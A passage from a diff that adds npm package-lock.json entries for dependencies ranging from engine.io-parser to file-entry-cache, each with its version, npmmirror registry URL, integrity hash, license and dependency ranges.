"sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/engine.io-parser": { + "version": "5.2.3", + "resolved": "https://registry.npmmirror.com/engine.io-parser/-/engine.io-parser-5.2.3.tgz", + "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/enquirer": { + "version": "2.4.1", + "resolved": "https://registry.npmmirror.com/enquirer/-/enquirer-2.4.1.tgz", + "integrity": "sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-colors": "^4.1.1", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmmirror.com/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmmirror.com/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/es-abstract": { + "version": "1.23.9", + "resolved": "https://registry.npmmirror.com/es-abstract/-/es-abstract-1.23.9.tgz", + "integrity": "sha512-py07lI0wjxAC/DcfK1S6G7iANonniZwTISvdPzk9hzeH0IZIshbuuFxLIU96OyF89Yb9hiqWn8M/bY83KY5vzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-buffer-byte-length": "^1.0.2", + "arraybuffer.prototype.slice": "^1.0.4", + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "data-view-buffer": "^1.0.2", + "data-view-byte-length": "^1.0.2", + "data-view-byte-offset": "^1.0.1", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "es-set-tostringtag": "^2.1.0", + "es-to-primitive": "^1.3.0", + "function.prototype.name": "^1.1.8", + "get-intrinsic": "^1.2.7", + "get-proto": "^1.0.0", + "get-symbol-description": "^1.1.0", + "globalthis": "^1.0.4", + "gopd": "^1.2.0", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "internal-slot": "^1.1.0", + "is-array-buffer": "^3.0.5", + "is-callable": "^1.2.7", + "is-data-view": "^1.0.2", + "is-regex": "^1.2.1", + "is-shared-array-buffer": "^1.0.4", + "is-string": "^1.1.1", + "is-typed-array": "^1.1.15", + "is-weakref": "^1.1.0", + "math-intrinsics": "^1.1.0", + "object-inspect": "^1.13.3", + "object-keys": "^1.1.1", + "object.assign": "^4.1.7", + "own-keys": "^1.0.1", + "regexp.prototype.flags": "^1.5.3", + "safe-array-concat": "^1.1.3", + "safe-push-apply": "^1.0.0", + "safe-regex-test": "^1.1.0", + "set-proto": "^1.0.0", + "string.prototype.trim": "^1.2.10", + "string.prototype.trimend": "^1.0.9", + "string.prototype.trimstart": "^1.0.8", + "typed-array-buffer": "^1.0.3", + "typed-array-byte-length": "^1.0.3", + "typed-array-byte-offset": "^1.0.4", + "typed-array-length": "^1.0.7", + "unbox-primitive": "^1.1.0", + "which-typed-array": "^1.1.18" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-to-primitive": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/es-to-primitive/-/es-to-primitive-1.3.0.tgz", + "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-callable": "^1.2.7", + "is-date-object": "^1.0.5", + "is-symbol": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/esbuild": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.18.20.tgz", + "integrity": "sha512-ceqxoedUrcayh7Y7ZX6NdbbDzGROiyVBgC4PriJThBKSVPWnnFHZAkfI1lJT8QFkOwH4qOS2SJkS4wvpGl8BpA==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/android-arm": "0.18.20", + "@esbuild/android-arm64": "0.18.20", + "@esbuild/android-x64": "0.18.20", + "@esbuild/darwin-arm64": "0.18.20", + "@esbuild/darwin-x64": "0.18.20", + "@esbuild/freebsd-arm64": "0.18.20", + "@esbuild/freebsd-x64": "0.18.20", + "@esbuild/linux-arm": "0.18.20", + "@esbuild/linux-arm64": "0.18.20", + "@esbuild/linux-ia32": "0.18.20", + "@esbuild/linux-loong64": "0.18.20", + "@esbuild/linux-mips64el": "0.18.20", + "@esbuild/linux-ppc64": "0.18.20", + "@esbuild/linux-riscv64": "0.18.20", + "@esbuild/linux-s390x": "0.18.20", + "@esbuild/linux-x64": "0.18.20", + "@esbuild/netbsd-x64": "0.18.20", + "@esbuild/openbsd-x64": "0.18.20", + "@esbuild/sunos-x64": "0.18.20", + "@esbuild/win32-arm64": "0.18.20", + "@esbuild/win32-ia32": "0.18.20", + "@esbuild/win32-x64": "0.18.20" + } + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/escodegen": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/escodegen/-/escodegen-2.1.0.tgz", + "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/escodegen/node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/eslint": { + "version": "8.57.1", + "resolved": "https://registry.npmmirror.com/eslint/-/eslint-8.57.1.tgz", + "integrity": "sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==", + "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.6.1", + "@eslint/eslintrc": "^2.1.4", + "@eslint/js": "8.57.1", + "@humanwhocodes/config-array": "^0.13.0", + "@humanwhocodes/module-importer": "^1.0.1", + "@nodelib/fs.walk": "^1.2.8", + "@ungap/structured-clone": "^1.2.0", + "ajv": "^6.12.4", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^7.2.2", + "eslint-visitor-keys": "^3.4.3", + "espree": "^9.6.1", + "esquery": "^1.4.2", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "globals": "^13.19.0", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "is-path-inside": "^3.0.3", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-config-prettier": { + "version": "8.10.0", + "resolved": "https://registry.npmmirror.com/eslint-config-prettier/-/eslint-config-prettier-8.10.0.tgz", + "integrity": "sha512-SM8AMJdeQqRYT9O9zguiruQZaN7+z+E4eAP9oiLNGKMtomwaB1E9dcgUD6ZAn/eQAb52USbvezbiljfZUhbJcg==", + "dev": true, + "license": "MIT", + "bin": { + "eslint-config-prettier": "bin/cli.js" + }, + "peerDependencies": { + "eslint": ">=7.0.0" + } + }, + "node_modules/eslint-plugin-cypress": { + "version": "2.15.2", + "resolved": "https://registry.npmmirror.com/eslint-plugin-cypress/-/eslint-plugin-cypress-2.15.2.tgz", + "integrity": "sha512-CtcFEQTDKyftpI22FVGpx8bkpKyYXBlNge6zSo0pl5/qJvBAnzaD76Vu2AsP16d6mTj478Ldn2mhgrWV+Xr0vQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "globals": "^13.20.0" + }, + "peerDependencies": { + "eslint": ">= 3.2.1" + } + }, + "node_modules/eslint-plugin-prettier": { + "version": "4.2.1", + "resolved": "https://registry.npmmirror.com/eslint-plugin-prettier/-/eslint-plugin-prettier-4.2.1.tgz", + "integrity": "sha512-f/0rXLXUt0oFYs8ra4w49wYZBG5GKZpAYsJSm6rnYL5uVDjd+zowwMwVZHnAjf4edNrKpCDYfXDgmRE/Ak7QyQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prettier-linter-helpers": "^1.0.0" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "eslint": ">=7.28.0", + "prettier": ">=2.0.0" + }, + "peerDependenciesMeta": { + "eslint-config-prettier": { + "optional": true + } + } + }, + "node_modules/eslint-plugin-vue": { + "version": "9.33.0", + "resolved": "https://registry.npmmirror.com/eslint-plugin-vue/-/eslint-plugin-vue-9.33.0.tgz", + "integrity": "sha512-174lJKuNsuDIlLpjeXc5E2Tss8P44uIimAfGD0b90k0NoirJqpG7stLuU9Vp/9ioTOrQdWVREc4mRd1BD+CvGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.4.0", + "globals": "^13.24.0", + "natural-compare": "^1.4.0", + "nth-check": "^2.1.1", + "postcss-selector-parser": "^6.0.15", + "semver": "^7.6.3", + "vue-eslint-parser": "^9.4.3", + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": "^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "^6.2.0 || ^7.0.0 || ^8.0.0 || ^9.0.0" + } + }, + "node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmmirror.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint/node_modules/eslint-scope": { + "version": "7.2.2", + "resolved": "https://registry.npmmirror.com/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint/node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/espree": { + "version": "9.6.1", + "resolved": "https://registry.npmmirror.com/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "license": "BSD-2-Clause", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esquery": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/esquery/-/esquery-1.6.0.tgz", + "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esquery/node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esrecurse/node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "license": "MIT" + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/event-stream": { + "version": "3.3.4", + "resolved": "https://registry.npmmirror.com/event-stream/-/event-stream-3.3.4.tgz", + "integrity": "sha512-QHpkERcGsR0T7Qm3HNJSyXKEEj8AHNxkY3PK8TS2KJvQ7NiSHe3DDpwVKKtoYprL/AreyzFBeIkBIWChAqn60g==", + "dev": true, + "license": "MIT", + "dependencies": { + "duplexer": "~0.1.1", + "from": "~0", + "map-stream": "~0.1.0", + "pause-stream": "0.0.11", + "split": "0.3", + "stream-combiner": "~0.0.4", + "through": "~2.3.1" + } + }, + "node_modules/event-target-shim": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/event-target-shim/-/event-target-shim-5.0.1.tgz", + "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/eventemitter2": { + "version": "6.4.7", + "resolved": "https://registry.npmmirror.com/eventemitter2/-/eventemitter2-6.4.7.tgz", + "integrity": "sha512-tYUSVOGeQPKt/eC1ABfhHy5Xd96N3oIijJvN3O9+TsC28T5V9yX9oEfEK5faP0EFSNVOG97qtAS68GBrQB2hDg==", + "dev": true, + "license": "MIT" + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/execa": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/execa/-/execa-4.1.0.tgz", + "integrity": "sha512-j5W0//W7f8UxAn8hXVnwG8tLwdiUy4FJLcSupCg6maBYZDpyBvTApK7KyuI4bKj8KOh1r2YH+6ucuYtJv1bTZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.0", + "get-stream": "^5.0.0", + "human-signals": "^1.1.1", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.0", + "onetime": "^5.1.0", + "signal-exit": "^3.0.2", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/executable": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/executable/-/executable-4.1.1.tgz", + "integrity": "sha512-8iA79xD3uAch729dUG8xaaBBFGaEa0wdD2VkYLFHwlqosEj/jT66AzcreRDSgV7ehnNLBW2WR5jIXwGKjVdTLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "pify": "^2.2.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true, + "license": "MIT" + }, + "node_modules/extract-zip": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/extract-zip/-/extract-zip-2.0.1.tgz", + "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "debug": "^4.1.1", + "get-stream": "^5.1.0", + "yauzl": "^2.10.0" + }, + "bin": { + "extract-zip": "cli.js" + }, + "engines": { + "node": ">= 10.17.0" + }, + "optionalDependencies": { + "@types/yauzl": "^2.9.1" + } + }, + "node_modules/extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g==", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "license": "MIT" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-diff": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/fast-diff/-/fast-diff-1.3.0.tgz", + "integrity": "sha512-VxPP4NqbUjj6MaAOafWeUn2cXWLcCtljklUtZf0Ind4XQ+QPtmA0b18zZy0jIQx+ExRVCR/ZQpBmik5lXshNsw==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/fast-fifo": { + "version": "1.3.2", + "resolved": "https://registry.npmmirror.com/fast-fifo/-/fast-fifo-1.3.2.tgz", + "integrity": "sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmmirror.com/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmmirror.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fastq": { + "version": "1.19.1", + "resolved": "https://registry.npmmirror.com/fastq/-/fastq-1.19.1.tgz", + "integrity": "sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "pend": "~1.2.0" + } + }, + "node_modules/figures": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/figures/-/figures-3.2.0.tgz", + "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "escape-string-regexp": "^1.0.5" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/figures/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "license": 